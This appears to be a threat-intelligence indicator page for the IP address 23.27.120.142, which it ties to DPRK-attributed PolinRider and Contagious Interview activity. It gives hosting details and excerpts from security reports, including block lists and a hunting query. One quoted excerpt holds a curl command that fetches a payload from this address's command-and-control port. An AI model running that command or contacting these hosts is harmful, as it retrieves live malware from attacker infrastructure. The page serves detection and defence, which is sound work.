`23.27.120.142`

23.27.120.142 is an IP address that 5 published sources report in connection with PolinRider, Lazarus Group and Contagious Interview activity, which public reporting attributes to North Korea (DPRK). It is cited here from OpenSourceMalware, Ransom-ISAC, Trend Micro and OZ. The earliest of those reports is dated 2025-11-13 and the most recent 2026-08-13.

ip address PolinRider Lazarus Group Contagious Interview MATCHED IN SOURCE

First seen 2025-11-13 · last seen 2026-08-13

Network

Kind	data centre
Network	Ace Data Centers II (Evoxt)
Announced by	AS149440 Evoxt Sdn. Bhd.
Country	United States
Flags	hosting range

Looked up 2026-09-21 at ip-api.com. A hosting range is not evidence on its own.

Sources

…level while you work through remediation: 166.88.54.158 , 198.105.127.210 , 23.27.202.27 , 154.91.0.103 , 136.0.9.8 , 166.88.4.2 , 23.27.120.142 , 202.155.8.173 , 166.88.134.82 , 188.43.33.249 , 23.27.13.43 .…
A Developer's Guide to Getting Rid of PolinRider | OpenSourceMalware — OpenSourceMalware · under “4. Block known indicators at the network layer” · published 2026-08-13 · pulled 2026-09-12
…Evoxt Enterprise Sep 2025 ACTIVE 27017 Cluster-1 HIGH 23.27.202.27 149440 Evoxt Enterprise Sep 2025 ACTIVE 27017 Cluster-1 HIGH 23.27.120.142 149440 Evoxt Enterprise Oct 2025 ACTIVE 27017 Cluster-1 HIGH 154.91.0.103 149440 Evoxt Enterprise Feb 2025 Mar 2025 27017 , 5432, 1433…
Cross-Chain TxDataHiding Crypto Heist: A Very Chainful Process (Part 1) — Ransom-ISAC · under “Infrastructure Fingerprints” · published 2025-11-13 · pulled 2026-09-12
…AND dst: (136.0.9.8 OR 198.105.127.210 OR 23.27.202.27 OR 154.91.0.196 OR 23.27.20.143 OR 85.239.62.36 OR 83.168.68.219 OR 166.88.4.2 OR 23.27.120.142) More hunting queries are available for TrendAI Vision One™ with Threat Intelligence Hub entitlement enabled.…
Void Dokkaebi Uses Fake Job Interview Lure to Spread Malware via Code Repositories — Trend Micro · under “Conclusion” · published 2026-04-21 · pulled 2026-09-12
…or click to view image in full size The final stage reaches out to an actual C2 server where things start: curl -X GET "http://23.27.120.142:27017/$/boot" \ -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" \ -H "Connection: close" \ --output…
How to Get Scammed (by DPRK Hackers) — OZ · under “Stage 4: The Final Payload” · published 2026-01-13 · pulled 2026-09-12
…for Part 4 . The cluster list: IP Address First Seen 136.0.9.8 12/06/2025 166.88.4.2 12/06/2025 23.27.202.27 20/06/2025 23.27.120.142 08/10/2025 202.155.8.173 30/10/2025 198.105.127.210 14/11/2025 166.88.134.82 21/11/2025 The following is the timeline of…
Cross-Chain TxDataHiding Crypto Heist: A Very (Very) Chainful Process (Part 4) — Ransom-ISAC · under “RAT Timeline” · published 2025-12-08 · pulled 2026-10-03

Find this indicator in the index, or see every IP address this site holds under IP addresses in the browse listing.

Related indicators

Cited by the same report: A Developer's Guide to Getting Rid of PolinRider | OpenSourceMalware

OpenSourceMalware lists 7 other indicators in this source. 5 are shown, chosen across types.

All 8 indicators from this source

Cited by the same report: Cross-Chain TxDataHiding Crypto Heist: A Very Chainful Process (Part 1)

Ransom-ISAC lists 131 other indicators in this source. 4 are shown, chosen across types.

All 132 indicators from this source

Cited by the same report: Void Dokkaebi Uses Fake Job Interview Lure to Spread Malware via Code Repositories

Trend Micro lists 3 other indicators in this source.